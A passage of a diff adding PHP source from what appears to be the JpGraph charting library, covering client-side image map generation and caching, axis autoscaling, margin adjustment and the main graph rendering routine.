+	if( $this->texts != null ) {
+	    $n = count($this->texts);
+	    for($i=0; $i < $n; ++$i ) {
+		$csim .= $this->texts[$i]->GetCSIMAreas();
+	    }
+	}
+
+	if( $this->y2texts != null && $this->y2scale != null ) {
+	    $n = count($this->y2texts);
+	    for($i=0; $i < $n; ++$i ) {
+		$csim .= $this->y2texts[$i]->GetCSIMAreas();
+	    }
+	}
+
+	if( $this->yaxis != null && $this->xaxis != null ) {
+	    $csim .= $this->yaxis->title->GetCSIMAreas();	
+	    $csim .= $this->xaxis->title->GetCSIMAreas();
+	}
+
+	$n = count($this->plots);
+	for( $i=0; $i < $n; ++$i ) 
+	    $csim .= $this->plots[$i]->GetCSIMareas();
+
+	$n = count($this->y2plots);
+	for( $i=0; $i < $n; ++$i ) 
+	    $csim .= $this->y2plots[$i]->GetCSIMareas();
+
+	$n = count($this->ynaxis);
+	for( $i=0; $i < $n; ++$i ) {
+	    $m = count($this->ynplots[$i]); 
+	    for($j=0; $j < $m; ++$j ) {
+		$csim .= $this->ynplots[$i][$j]->GetCSIMareas();
+	    }
+	}
+
+	$n = count($this->iTables);
+	for( $i=0; $i < $n; ++$i ) {
+	    $csim .= $this->iTables[$i]->GetCSIMareas();
+	}
+
+	return $csim;
+    }
+	
+    // Get a complete <MAP>..</MAP> tag for the final image map
+    function GetHTMLImageMap($aMapName) {
+	$im = "<map name=\"$aMapName\" id=\"$aMapName\" >\n";
+	$im .= $this->GetCSIMareas();
+	$im .= "</map>"; 
+	return $im;
+    }
+
+    function CheckCSIMCache($aCacheName,$aTimeOut=60) {
+	global $_SERVER;
+
+	if( $aCacheName=='auto' )
+	    $aCacheName=basename($_SERVER['PHP_SELF']);
+
+	$urlarg = $this->GetURLArguments();
+	$this->csimcachename = CSIMCACHE_DIR.$aCacheName.$urlarg;
+	$this->csimcachetimeout = $aTimeOut;
+
+	// First determine if we need to check for a cached version
+	// This differs from the standard cache in the sense that the
+	// image and CSIM map HTML file is written relative to the directory
+	// the script executes in and not the specified cache directory.
+	// The reason for this is that the cache directory is not necessarily
+	// accessible from the HTTP server.
+	if( $this->csimcachename != '' ) {
+	    $dir = dirname($this->csimcachename);
+	    $base = basename($this->csimcachename);
+	    $base = strtok($base,'.');
+	    $suffix = strtok('.');
+	    $basecsim = $dir.'/'.$base.'?'.$urlarg.'_csim_.html';
+	    $baseimg = $dir.'/'.$base.'?'.$urlarg.'.'.$this->img->img_format;
+
+	    $timedout=false;
+	    // Does it exist at all ?
+	    
+	    if( file_exists($basecsim) && file_exists($baseimg) ) {
+		// Check that it hasn't timed out
+		$diff=time()-filemtime($basecsim);
+		if( $this->csimcachetimeout>0 && ($diff > $this->csimcachetimeout*60) ) {
+		    $timedout=true;
+		    @unlink($basecsim);
+		    @unlink($baseimg);
+		}
+		else {
+		    if ($fh = @fopen($basecsim, "r")) {
+			fpassthru($fh);
+			return true;
+		    }
+		    else
+			JpGraphError::RaiseL(25027,$basecsim);//(" Can't open cached CSIM \"$basecsim\" for reading.");
+		}
+	    }
+	}
+	return false;
+    }
+
+    // Build the argument string to be used with the csim images
+    function GetURLArguments() {
+		
+	// This is a JPGRAPH internal defined that prevents
+	// us from recursively coming here again
+	$urlarg = _CSIM_DISPLAY.'=1';
+
+	// Now reconstruct any user URL argument
+	reset($_GET);
+	while( list($key,$value) = each($_GET) ) {
+	    if( is_array($value) ) {
+		foreach ( $value as $k => $v ) {
+		    $urlarg .= '&amp;'.$key.'%5B'.$k.'%5D='.urlencode($v);
+		}
+	    }
+	    else {
+		$urlarg .= '&amp;'.$key.'='.urlencode($value);
+	    }
+	}
+
+	// It's not ideal to convert POST argument to GET arguments
+	// but there is little else we can do. One idea for the 
+	// future might be recreate the POST header in case.
+	reset($_POST);
+	while( list($key,$value) = each($_POST) ) {
+	    if( is_array($value) ) {
+		foreach ( $value as $k => $v ) {
+		    $urlarg .= '&amp;'.$key.'%5B'.$k.'%5D='.urlencode($v);
+		}
+	    }
+	    else {
+		$urlarg .= '&amp;'.$key.'='.urlencode($value);
+	    }
+	}
+
+	return $urlarg;
+    }
+
+    function SetCSIMImgAlt($aAlt) {
+	$this->iCSIMImgAlt = $aAlt;
+    }
+
+    function StrokeCSIM($aScriptName='auto',$aCSIMName='',$aBorder=0) {
+	if( $aCSIMName=='' ) {
+	    // create a random map name
+	    srand ((double) microtime() * 1000000);
+	    $r = rand(0,100000);
+	    $aCSIMName='__mapname'.$r.'__';
+	}
+
+	if( $aScriptName=='auto' )
+	    $aScriptName=basename($_SERVER['PHP_SELF']);
+
+	$urlarg = $this->GetURLArguments();
+
+	if( empty($_GET[_CSIM_DISPLAY]) ) {
+	    // First determine if we need to check for a cached version
+	    // This differs from the standard cache in the sense that the
+	    // image and CSIM map HTML file is written relative to the directory
+	    // the script executes in and not the specified cache directory.
+	    // The reason for this is that the cache directory is not necessarily
+	    // accessible from the HTTP server.
+	    if( $this->csimcachename != '' ) {
+		$dir = dirname($this->csimcachename);
+		$base = basename($this->csimcachename);
+		$base = strtok($base,'.');
+		$suffix = strtok('.');
+		$basecsim = $dir.'/'.$base.'?'.$urlarg.'_csim_.html';
+		$baseimg = $base.'?'.$urlarg.'.'.$this->img->img_format;
+
+		// Check that apache can write to directory specified
+
+		if( file_exists($dir) && !is_writeable($dir) ) {
+		    JpgraphError::RaiseL(25028,$dir);//('Apache/PHP does not have permission to write to the CSIM cache directory ('.$dir.'). Check permissions.');
+		}
+		
+		// Make sure directory exists
+		$this->cache->MakeDirs($dir);
+
+		// Write the image file
+		$this->Stroke(CSIMCACHE_DIR.$baseimg);
+
+		// Construct wrapper HTML and write to file and send it back to browser
+
+		// In the src URL we must replace the '?' with its encoding to prevent the arguments
+		// to be converted to real arguments.
+		$tmp = str_replace('?','%3f',$baseimg);
+		$htmlwrap = $this->GetHTMLImageMap($aCSIMName)."\n".
+		    '<img src="'.CSIMCACHE_HTTP_DIR.$tmp.'" ismap="ismap" usemap="#'.$aCSIMName.'" border="'.$aBorder.'" width="'.$this->img->width.'" height="'.$this->img->height."\" alt=\"".$this->iCSIMImgAlt."\" />\n";
+
+		if($fh =  @fopen($basecsim,'w') ) {
+		    fwrite($fh,$htmlwrap);
+		    fclose($fh);
+		    echo $htmlwrap;
+		}
+		else
+		    JpGraphError::RaiseL(25029,$basecsim);//(" Can't write CSIM \"$basecsim\" for writing. Check free space and permissions.");
+	    }
+	    else {
+
+		if( $aScriptName=='' ) {
+		    JpGraphError::RaiseL(25030);//('Missing script name in call to StrokeCSIM(). You must specify the name of the actual image script as the first parameter to StrokeCSIM().');
+		}
+		echo $this->GetHTMLImageMap($aCSIMName);
+		echo "<img src=\"".$aScriptName.'?'.$urlarg."\" ismap=\"ismap\" usemap=\"#".$aCSIMName.'" border="'.$aBorder.'" width="'.$this->img->width.'" height="'.$this->img->height."\" alt=\"".$this->iCSIMImgAlt."\" />\n";
+	    }
+	}
+	else {
+	    $this->Stroke();
+	}
+    }
+
+    function GetTextsYMinMax($aY2=false) {
+	if( $aY2 ) 
+	    $txts = $this->y2texts;
+	else
+	    $txts = $this->texts;
+	$n = count($txts);
+	$min=null;
+	$max=null;
+	for( $i=0; $i < $n; ++$i ) {
+	    if( $txts[$i]->iScalePosY !== null && 
+		$txts[$i]->iScalePosX !== null  ) {
+		if( $min === null  ) {
+		    $min = $max = $txts[$i]->iScalePosY ;
+		}
+		else {
+		    $min = min($min,$txts[$i]->iScalePosY);
+		    $max = max($max,$txts[$i]->iScalePosY);
+		}
+	    }
+	}
+	if( $min !== null ) {
+	    return array($min,$max);
+	}
+	else
+	    return null;
+    }
+
+    function GetTextsXMinMax($aY2=false) {
+	if( $aY2 ) 
+	    $txts = $this->y2texts;
+	else
+	    $txts = $this->texts;
+	$n = count($txts);
+	$min=null;
+	$max=null;
+	for( $i=0; $i < $n; ++$i ) {
+	    if( $txts[$i]->iScalePosY !== null && 
+		$txts[$i]->iScalePosX !== null  ) {
+		if( $min === null  ) {
+		    $min = $max = $txts[$i]->iScalePosX ;
+		}
+		else {
+		    $min = min($min,$txts[$i]->iScalePosX);
+		    $max = max($max,$txts[$i]->iScalePosX);
+		}
+	    }
+	}
+	if( $min !== null ) {
+	    return array($min,$max);
+	}
+	else
+	    return null;
+    }
+
+    function GetXMinMax() {
+	list($min,$ymin) = $this->plots[0]->Min();
+	list($max,$ymax) = $this->plots[0]->Max();
+	foreach( $this->plots as $p ) {
+	    list($xmin,$ymin) = $p->Min();
+	    list($xmax,$ymax) = $p->Max();			
+	    $min = Min($xmin,$min);
+	    $max = Max($xmax,$max);
+	}
+
+	if( $this->y2axis != null ) {
+	    foreach( $this->y2plots as $p ) {
+		list($xmin,$ymin) = $p->Min();
+			list($xmax,$ymax) = $p->Max();			
+			$min = Min($xmin,$min);
+			$max = Max($xmax,$max);
+	    }		    
+	}
+
+	$n = count($this->ynaxis);
+	for( $i=0; $i < $n; ++$i ) {
+	    if( $this->ynaxis[$i] != null) {
+		foreach( $this->ynplots[$i] as $p ) {
+		    list($xmin,$ymin) = $p->Min();
+		    list($xmax,$ymax) = $p->Max();			
+		    $min = Min($xmin,$min);
+		    $max = Max($xmax,$max);
+		}		    
+	    }
+	}
+	return array($min,$max);
+    }
+
+    function AdjustMarginsForTitles() {
+	$totrequired = 
+	    ($this->title->t != '' ? 
+	     $this->title->GetTextHeight($this->img) + $this->title->margin + 5 : 0 ) +
+	    ($this->subtitle->t != '' ? 
+	     $this->subtitle->GetTextHeight($this->img) + $this->subtitle->margin + 5 : 0 ) + 
+	    ($this->subsubtitle->t != '' ? 
+	     $this->subsubtitle->GetTextHeight($this->img) + $this->subsubtitle->margin + 5 : 0 ) ;
+	
+
+	$btotrequired = 0;
+	if($this->xaxis != null &&  !$this->xaxis->hide && !$this->xaxis->hide_labels ) {
+	    // Minimum bottom margin
+	    if( $this->xaxis->title->t != '' ) {
+		if( $this->img->a == 90 ) 
+		    $btotrequired = $this->yaxis->title->GetTextHeight($this->img) + 5 ;
+		else
+		    $btotrequired = $this->xaxis->title->GetTextHeight($this->img) + 5 ;
+	    }
+	    else
+		$btotrequired = 0;
+	    
+	    if( $this->img->a == 90 ) {
+		$this->img->SetFont($this->yaxis->font_family,$this->yaxis->font_style,
+				    $this->yaxis->font_size);
+		$lh = $this->img->GetTextHeight('Mg',$this->yaxis->label_angle);
+	    }
+	    else {
+		$this->img->SetFont($this->xaxis->font_family,$this->xaxis->font_style,
+				    $this->xaxis->font_size);
+		$lh = $this->img->GetTextHeight('Mg',$this->xaxis->label_angle);
+	    }
+	    
+	    $btotrequired += $lh + 5;
+	}
+
+	if( $this->img->a == 90 ) {
+	    // DO Nothing. It gets too messy to do this properly for 90 deg...
+	}
+	else{
+	    if( $this->img->top_margin < $totrequired ) {
+		$this->SetMargin($this->img->left_margin,$this->img->right_margin,
+				 $totrequired,$this->img->bottom_margin);
+	    }
+	    if( $this->img->bottom_margin < $btotrequired ) {
+		$this->SetMargin($this->img->left_margin,$this->img->right_margin,
+				 $this->img->top_margin,$btotrequired);
+	    }
+	}
+    }
+
+    // Stroke the graph
+    // $aStrokeFileName	If != "" the image will be written to this file and NOT
+    // streamed back to the browser
+    function Stroke($aStrokeFileName="") {		
+
+	// Fist make a sanity check that user has specified a scale
+	if( empty($this->yscale) ) {
+	    JpGraphError::RaiseL(25031);//('You must specify what scale to use with a call to Graph::SetScale().');
+	}
+
+	// Start by adjusting the margin so that potential titles will fit.
+	$this->AdjustMarginsForTitles();
+
+	// Setup scale constants
+	if( $this->yscale ) $this->yscale->InitConstants($this->img);
+	if( $this->xscale ) $this->xscale->InitConstants($this->img);
+	if( $this->y2scale ) $this->y2scale->InitConstants($this->img);
+	
+	$n=count($this->ynscale);
+	for($i=0; $i < $n; ++$i) {
+	  if( $this->ynscale[$i] ) $this->ynscale[$i]->InitConstants($this->img);
+	}
+
+	// If the filename is the predefined value = '_csim_special_'
+	// we assume that the call to stroke only needs to do enough
+	// to correctly generate the CSIM maps.
+	// We use this variable to skip things we don't strictly need
+	// to do to generate the image map to improve performance
+	// a best we can. Therefor you will see a lot of tests !$_csim in the
+	// code below.
+	$_csim = ($aStrokeFileName===_CSIM_SPECIALFILE);
+
+	// We need to know if we have stroked the plot in the
+	// GetCSIMareas. Otherwise the CSIM hasn't been generated
+	// and in the case of GetCSIM called before stroke to generate
+	// CSIM without storing an image to disk GetCSIM must call Stroke.
+	$this->iHasStroked = true;
+
+	// Do any pre-stroke adjustment that is needed by the different plot types
+	// (i.e bar plots want's to add an offset to the x-labels etc)
+	for($i=0; $i < count($this->plots) ; ++$i ) {
+	    $this->plots[$i]->PreStrokeAdjust($this);
+	    $this->plots[$i]->DoLegend($this);
+	}
+		
+	// Any plots on the second Y scale?
+	if( $this->y2scale != null ) {
+	    for($i=0; $i<count($this->y2plots)	; ++$i ) {
+		$this->y2plots[$i]->PreStrokeAdjust($this);
+		$this->y2plots[$i]->DoLegend($this);
+	    }
+	}
+
+	// Any plots on the extra Y axises?
+	$n = count($this->ynaxis);
+	for($i=0; $i<$n	; ++$i ) {
+	    if( $this->ynplots == null || $this->ynplots[$i] == null) {
+		JpGraphError::RaiseL(25032,$i);//("No plots for Y-axis nbr:$i");
+	    } 
+	    $m = count($this->ynplots[$i]); 
+	    for($j=0; $j < $m; ++$j ) {
+		$this->ynplots[$i][$j]->PreStrokeAdjust($this);
+		$this->ynplots[$i][$j]->DoLegend($this);
+	    }
+	}
+
+	// Bail out if any of the Y-axis not been specified and
+	// has no plots. (This means it is impossible to do autoscaling and
+	// no other scale was given so we can't possible draw anything). If you use manual
+	// scaling you also have to supply the tick steps as well.
+	if( (!$this->yscale->IsSpecified() && count($this->plots)==0) ||
+	    ($this->y2scale!=null && !$this->y2scale->IsSpecified() && count($this->y2plots)==0) ) {
+	    //$e = "n=".count($this->y2plots)."\n";
+	    // $e = "Can't draw unspecified Y-scale.<br>\nYou have either:<br>\n";
+	    // $e .= "1. Specified an Y axis for autoscaling but have not supplied any plots<br>\n";
+	    // $e .= "2. Specified a scale manually but have forgot to specify the tick steps";
+	    JpGraphError::RaiseL(25026);
+	}
+		
+	// Bail out if no plots and no specified X-scale
+	if( (!$this->xscale->IsSpecified() && count($this->plots)==0 && count($this->y2plots)==0) )
+	    JpGraphError::RaiseL(25034);//("<strong>JpGraph: Can't draw unspecified X-scale.</strong><br>No plots.<br>");
+
+	//Check if we should autoscale y-axis
+	if( !$this->yscale->IsSpecified() && count($this->plots)>0 ) {
+	    list($min,$max) = $this->GetPlotsYMinMax($this->plots);
+ 	    $lres = $this->GetLinesYMinMax($this->lines);
+	    if( is_array($lres) ) {
+		list($linmin,$linmax) = $lres ;
+		$min = min($min,$linmin);
+		$max = max($max,$linmax);
+	    }
+	    $tres = $this->GetTextsYMinMax();
+	    if( is_array($tres) ) {
+		list($tmin,$tmax) = $tres ;
+		$min = min($min,$tmin);
+		$max = max($max,$tmax);
+	    }
+	    $this->yscale->AutoScale($this->img,$min,$max,
+				     $this->img->plotheight/$this->ytick_factor);
+	}
+	elseif( $this->yscale->IsSpecified() && 
+		( $this->yscale->auto_ticks || !$this->yscale->ticks->IsSpecified()) ) {
+	    // The tick calculation will use the user suplied min/max values to determine
+	    // the ticks. If auto_ticks is false the exact user specifed min and max
+	    // values will be used for the scale. 
+	    // If auto_ticks is true then the scale might be slightly adjusted
+	    // so that the min and max values falls on an even major step.
+	    $min = $this->yscale->scale[0];
+	    $max = $this->yscale->scale[1];
+	    $this->yscale->AutoScale($this->img,$min,$max,
+				     $this->img->plotheight/$this->ytick_factor,
+				     $this->yscale->auto_ticks);
+
+	    // Now make sure we show enough precision to accurate display the
+	    // labels. If this is not done then the user might end up with
+	    // a scale that might actually start with, say 13.5, butdue to rounding
+	    // the scale label will ony show 14.
+	    if( abs(floor($min)-$min) > 0 ) {
+		
+		// If the user has set a format then we bail out
+		if( $this->yscale->ticks->label_formatstr == '' && $this->yscale->ticks->label_dateformatstr == '' ) {
+		    $this->yscale->ticks->precision = abs( floor(log10( abs(floor($min)-$min))) )+1;
+		}
+	    }
+	}
+
+	if( $this->y2scale != null) {
+	    if( !$this->y2scale->IsSpecified() && count($this->y2plots)>0 ) {
+		list($min,$max) = $this->GetPlotsYMinMax($this->y2plots);
+
+		$lres = $this->GetLinesYMinMax($this->y2lines);
+		if( is_array($lres) ) {
+		    list($linmin,$linmax) = $lres ;
+		    $min = min($min,$linmin);
+		    $max = max($max,$linmax);
+		}
+		$tres = $this->GetTextsYMinMax(true);
+		if( is_array($tres) ) {
+		    list($tmin,$tmax) = $tres ;
+		    $min = min($min,$tmin);
+		    $max = max($max,$tmax);
+		}
+		$this->y2scale->AutoScale($this->img,$min,$max,$this->img->plotheight/$this->ytick_factor);
+	    }			
+	    elseif( $this->y2scale->IsSpecified() && 
+		    ( $this->y2scale->auto_ticks || !$this->y2scale->ticks->IsSpecified()) ) {
+		// The tick calculation will use the user suplied min/max values to determine
+		// the ticks. If auto_ticks is false the exact user specifed min and max
+		// values will be used for the scale. 
+		// If auto_ticks is true then the scale might be slightly adjusted
+		// so that the min and max values falls on an even major step.
+		$min = $this->y2scale->scale[0];
+		$max = $this->y2scale->scale[1];
+		$this->y2scale->AutoScale($this->img,$min,$max,
+					  $this->img->plotheight/$this->ytick_factor,
+					  $this->y2scale->auto_ticks);
+
+	    // Now make sure we show enough precision to accurate display the
+	    // labels. If this is not done then the user might end up with
+	    // a scale that might actually start with, say 13.5, butdue to rounding
+	    // the scale label will ony show 14.
+	    if( abs(floor($min)-$min) > 0 ) {
+		
+		// If the user has set a format then we bail out
+		if( $this->y2scale->ticks->label_formatstr == '' && $this->y2scale->ticks->label_dateformatstr == '' ) {
+		    $this->y2scale->ticks->precision = abs( floor(log10( abs(floor($min)-$min))) )+1;
+		}
+	    }
+
+	    }
+	}
+				
+	//
+	// Autoscale the extra Y-axises
+	//
+	$n = count($this->ynaxis);
+	for( $i=0; $i < $n; ++$i ) {
+	  if( $this->ynscale[$i] != null) {
+	    if( !$this->ynscale[$i]->IsSpecified() && count($this->ynplots[$i])>0 ) {
+	      list($min,$max) = $this->GetPlotsYMinMax($this->ynplots[$i]);
+	      $this->ynscale[$i]->AutoScale($this->img,$min,$max,$this->img->plotheight/$this->ytick_factor);
+	    }			
+	    elseif( $this->ynscale[$i]->IsSpecified() && 
+		    ( $this->ynscale[$i]->auto_ticks || !$this->ynscale[$i]->ticks->IsSpecified()) ) {
+		// The tick calculation will use the user suplied min/max values to determine
+		// the ticks. If auto_ticks is false the exact user specifed min and max
+		// values will be used for the scale. 
+		// If auto_ticks is true then the scale might be slightly adjusted
+		// so that the min and max values falls on an even major step.
+	      $min = $this->ynscale[$i]->scale[0];
+	      $max = $this->ynscale[$i]->scale[1];
+	      $this->ynscale[$i]->AutoScale($this->img,$min,$max,
+					    $this->img->plotheight/$this->ytick_factor,
+					    $this->ynscale[$i]->auto_ticks);
+
+	      // Now make sure we show enough precision to accurate display the
+	      // labels. If this is not done then the user might end up with
+	      // a scale that might actually start with, say 13.5, butdue to rounding
+	      // the scale label will ony show 14.
+	      if( abs(floor($min)-$min) > 0 ) {
+		
+		  // If the user has set a format then we bail out
+		  if( $this->ynscale[$i]->ticks->label_formatstr == '' && $this->ynscale[$i]->ticks->label_dateformatstr == '' ) {
+		      $this->ynscale[$i]->ticks->precision = abs( floor(log10( abs(floor($min)-$min))) )+1;
+		  }
+	      }
+
+	    }
+	  }
+	}
+		
+	//Check if we should autoscale x-axis
+	if( !$this->xscale->IsSpecified() ) {
+	    if( substr($this->axtype,0,4) == "text" ) {
+		$max=0;
+		$n = count($this->plots);
+		for($i=0; $i < $n; ++$i ) {
+		    $p = $this->plots[$i];
+		    // We need some unfortunate sub class knowledge here in order
+		    // to increase number of data points in case it is a line plot
+		    // which has the barcenter set. If not it could mean that the
+		    // last point of the data is outside the scale since the barcenter
+		    // settings means that we will shift the entire plot half a tick step
+		    // to the right in oder to align with the center of the bars.
+		    if( class_exists('BarPlot',false) ) {
+			$cl = strtolower(get_class($p));
+			if( (class_exists('BarPlot',false) && ($p instanceof BarPlot)) || 
+			    empty($p->barcenter) ) 
+			    $max=max($max,$p->numpoints-1);
+			else {
+			    $max=max($max,$p->numpoints);
+			}
+		    }
+		    else {
+			if( empty($p->barcenter) ) {
+			    $max=max($max,$p->numpoints-1);
+			}
+			else {
+			    $max=max($max,$p->numpoints);
+			}
+		    }
+		}
+		$min=0;
+		if( $this->y2axis != null ) {
+		    foreach( $this->y2plots as $p ) {
+			$max=max($max,$p->numpoints-1);
+		    }		    
+		}
+		$n = count($this->ynaxis);
+		for( $i=0; $i < $n; ++$i ) {
+		    if( $this->ynaxis[$i] != null) {
+			foreach( $this->ynplots[$i] as $p ) {
+			    $max=max($max,$p->numpoints-1);
+			}		    
+		    }
+		}
+		
+		$this->xscale->Update($this->img,$min,$max);
+		$this->xscale->ticks->Set($this->xaxis->tick_step,1);
+		$this->xscale->ticks->SupressMinorTickMarks();
+	    }
+	    else {
+		list($min,$max) = $this->GetXMinMax();
+
+		$lres = $this->GetLinesXMinMax($this->lines);
+		if( $lres ) {
+		    list($linmin,$linmax) = $lres ;
+		    $min = min($min,$linmin);
+		    $max = max($max,$linmax);
+		}
+
+		$lres = $this->GetLinesXMinMax($this->y2lines);
+		if( $lres ) {
+		    list($linmin,$linmax) = $lres ;
+		    $min = min($min,$linmin);
+		    $max = max($max,$linmax);
+		}
+
+		$tres = $this->GetTextsXMinMax();
+		if( $tres ) {
+		    list($tmin,$tmax) = $tres ;
+		    $min = min($min,$tmin);
+		    $max = max($max,$tmax);
+		}
+
+		$tres = $this->GetTextsXMinMax(true);
+		if( $tres ) {
+		    list($tmin,$tmax) = $tres ;
+		    $min = min($min,$tmin);
+		    $max = max($max,$tmax);
+		}
+
+		$this->xscale->AutoScale($this->img,$min,$max,round($this->img->plotwidth/$this->xtick_factor));
+	    }
+			
+	    //Adjust position of y-axis and y2-axis to minimum/maximum of x-scale
+	    if( !is_numeric($this->yaxis->pos) && !is_string($this->yaxis->pos) )
+	    	$this->yaxis->SetPos($this->xscale->GetMinVal());
+	    if( $this->y2axis != null ) {
+		if( !is_numeric($this->y2axis->pos) && !is_string($this->y2axis->pos) )
+		    $this->y2axis->SetPos($this->xscale->GetMaxVal());
+		$this->y2axis->SetTitleSide(SIDE_RIGHT);
+	    }
+	    $n = count($this->ynaxis);
+	    $nY2adj = $this->y2axis != null ? $this->iYAxisDeltaPos : 0;
+	    for( $i=0; $i < $n; ++$i ) { 
+		if( $this->ynaxis[$i] != null ) {
+		    if( !is_numeric($this->ynaxis[$i]->pos) && !is_string($this->ynaxis[$i]->pos) ) {
+			$this->ynaxis[$i]->SetPos($this->xscale->GetMaxVal());
+		  $this->ynaxis[$i]->SetPosAbsDelta($i*$this->iYAxisDeltaPos + $nY2adj);
+		    }
+		    $this->ynaxis[$i]->SetTitleSide(SIDE_RIGHT);
+		}
+	    }
+
+	}	
+	elseif( $this->xscale->IsSpecified() &&  
+		( $this->xscale->auto_ticks || !$this->xscale->ticks->IsSpecified()) ) {
+	    // The tick calculation will use the user suplied min/max values to determine
+	    // the ticks. If auto_ticks is false the exact user specifed min and max
+	    // values will be used for the scale. 
+	    // If auto_ticks is true then the scale might be slightly adjusted
+	    // so that the min and max values falls on an even major step.
+	    $min = $this->xscale->scale[0];
+	    $max = $this->xscale->scale[1];
+	    $this->xscale->AutoScale($this->img,$min,$max,
+				     round($this->img->plotwidth/$this->xtick_factor),
+				     false);
+
+	    // Now make sure we show enough precision to accurate display the
+	    // labels. If this is not done then the user might end up with
+	    // a scale that might actually start with, say 13.5, butdue to rounding
+	    // the scale label will ony show 14.
+	    if( abs(floor($min)-$min) > 0 ) {
+		
+		// If the user has set a format then we bail out
+		if( $this->xscale->ticks->label_formatstr == '' && $this->xscale->ticks->label_dateformatstr == '' ) {
+		    $this->xscale->ticks->precision = abs( floor(log10( abs(floor($min)-$min))) )+1;
+		}
+	    }
+
+
+	    if( $this->y2axis != null ) {
+		if( !is_numeric($this->y2axis->pos) && !is_string($this->y2axis->pos) )
+		    $this->y2axis->SetPos($this->xscale->GetMaxVal());
+		$this->y2axis->SetTitleSide(SIDE_RIGHT);
+	    }
+
+	}
+		
+	// If we have a negative values and x-axis position is at 0
+	// we need to supress the first and possible the last tick since
+	// they will be drawn on top of the y-axis (and possible y2 axis)
+	// The test below might seem strange the reasone being that if
+	// the user hasn't specified a value for position this will not
+	// be set until we do the stroke for the axis so as of now it
+	// is undefined.
+	// For X-text scale we ignore all this since the tick are usually
+	// much further in and not close to the Y-axis. Hence the test 
+	// for 'text'	
+
+	if( ($this->yaxis->pos==$this->xscale->GetMinVal() || 
+	     (is_string($this->yaxis->pos) && $this->yaxis->pos=='min')) &&  
+	    !is_numeric($this->xaxis->pos) && $this->yscale->GetMinVal() < 0 && 
+	    substr($this->axtype,0,4) != 'text' && $this->xaxis->pos!="min" ) {
+
+	    //$this->yscale->ticks->SupressZeroLabel(false);
+	    $this->xscale->ticks->SupressFirst();
+	    if( $this->y2axis != null ) {
+		$this->xscale->ticks->SupressLast();
+	    }
+	}
+	elseif( !is_numeric($this->yaxis->pos) && $this->yaxis->pos=='max' ) {
+	    $this->xscale->ticks->SupressLast();
+	}
+	
+
+	if( !$_csim ) {
+	    $this->StrokePlotArea();
+	    if( $this->iIconDepth == DEPTH_BACK ) {
+		$this->StrokeIcons();
+	    }
+	}
+	$this->StrokeAxis(false);
+
+	// Stroke bands
+	if( $this->bands != null && !$_csim) 
+	    for($i=0; $i < count($this->bands); ++$i) {
+		// Stroke all bands that asks to be in the background
+		if( $this->bands[$i]->depth == DEPTH_BACK )
+		    $this->bands[$i]->Stroke($this->img,$this->xscale,$this->yscale);
+	    }
+
+	if( $this->y2bands != null && $this->y2scale != null && !$_csim )
+	    for($i=0; $i < count($this->y2bands); ++$i) {
+		// Stroke all bands that asks to be in the foreground
+		if( $this->y2bands[$i]->depth == DEPTH_BACK )
+		    $this->y2bands[$i]->Stroke($this->img,$this->xscale,$this->y2scale);
+	    }
+
+
+	if( $this->grid_depth == DEPTH_BACK && !$_csim) {
+	    $this->ygrid->Stroke();
+	    $this->xgrid->Stroke();
+	}
+				
+	// Stroke Y2-axis
+	if( $this->y2axis != null && !$_csim) {		
+	    $this->y2axis->Stroke($this->xscale); 				
+	    $this->y2grid->Stroke();
+	}
+
+	// Stroke yn-axis
+	$n = count($this->ynaxis); 
+	for( $i=0; $i < $n; ++$i ) {
+	    $this->ynaxis[$i]->Stroke($this->xscale); 				
+	}
+
+	$oldoff=$this->xscale->off;
+	if(substr($this->axtype,0,4)=="text") {
+	    if( $this->text_scale_abscenteroff > -1 ) {
+		// For a text scale the scale factor is the number of pixel per step. 
+		// Hence we can use the scale factor as a substitute for number of pixels
+		// per major scale step and use that in order to adjust the offset so that
+		// an object of width "abscenteroff" becomes centered.
+		$this->xscale->off += round($this->xscale->scale_factor/2)-round($this->text_scale_abscenteroff/2);
+	    }
+	    else {
+		$this->xscale->off += 
+		    ceil($this->xscale->scale_factor*$this->text_scale_off*$this->xscale->ticks->minor_step);
+	    }
+	}
+
+	if( $this->iDoClipping ) {
+	    $oldimage = $this->img->CloneCanvasH();
+	}
+
+	if( ! $this->y2orderback ) {
+	    // Stroke all plots for Y1 axis
+	    for($i=0; $i < count($this->plots); ++$i) {
+		$this->plots[$i]->Stroke($this->img,$this->xscale,$this->yscale);
+		$this->plots[$i]->StrokeMargin($this->img);
+	    }						
+	}
+
+	// Stroke all plots for Y2 axis
+	if( $this->y2scale != null )
+	    for($i=0; $i< count($this->y2plots); ++$i ) {	
+		$this->y2plots[$i]->Stroke($this->img,$this->xscale,$this->y2scale);
+	    }		
+
+	if( $this->y2orderback ) {
+	    // Stroke all plots for Y1 axis
+	    for($i=0; $i < count($this->plots); ++$i) {
+		$this->plots[$i]->Stroke($this->img,$this->xscale,$this->yscale);
+		$this->plots[$i]->StrokeMargin($this->img);
+	    }						
+	}
+
+	$n = count($this->ynaxis); 
+	for( $i=0; $i < $n; ++$i ) {
+	    $m = count($this->ynplots[$i]);
+	    for( $j=0; $j < $m; ++$j ) { 
+		$this->ynplots[$i][$j]->Stroke($this->img,$this->xscale,$this->ynscale[$i]);
+		$this->ynplots[$i][$j]->StrokeMargin($this->img);
+	    }
+	}
+
+	if( $this->iIconDepth == DEPTH_FRONT) {
+	    $this->StrokeIcons();
+	}
+	
+	if( $this->iDoClipping ) {
+	    // Clipping only supports graphs at 0 and 90 degrees
+	    if( $this->img->a == 0 ) {
+		$this->img->CopyCanvasH($oldimage,$this->img->img,
+					$this->img->left_margin,$this->img->top_margin,
+					$this->img->left_margin,$this->img->top_margin,
+					$this->img->plotwidth+1,$this->img->plotheight);
+	    }
+	    elseif( $this->img->a == 90 ) {
+		$adj = ($this->img->height - $this->img->width)/2;
+		$this->img->CopyCanvasH($oldimage,$this->img->img,
+					$this->img->bottom_margin-$adj,$this->img->left_margin+$adj,
+					$this->img->bottom_margin-$adj,$this->img->left_margin+$adj,
+					$this->img->plotheight+1,$this->img->plotwidth);
+	    }
+	    else {
+		JpGraphError::RaiseL(25035,$this->img->a);//('You have enabled clipping. Cliping is only supported for graphs at 0 or 90 degrees rotation. Please adjust you current angle (='.$this->img->a.' degrees) or disable clipping.');
+	    }
+	    $this->img->Destroy();
+	    $this->img->SetCanvasH($oldimage);
+	}
+
+	$this->xscale->off=$oldoff;
+		
+	if( $this->grid_depth == DEPTH_FRONT && !$_csim ) {
+	    $this->ygrid->Stroke();
+	    $this->xgrid->Stroke();
+	}
+
+	// Stroke bands
+	if( $this->bands!= null )
+	    for($i=0; $i < count($this->bands); ++$i) {
+		// Stroke all bands that asks to be in the foreground
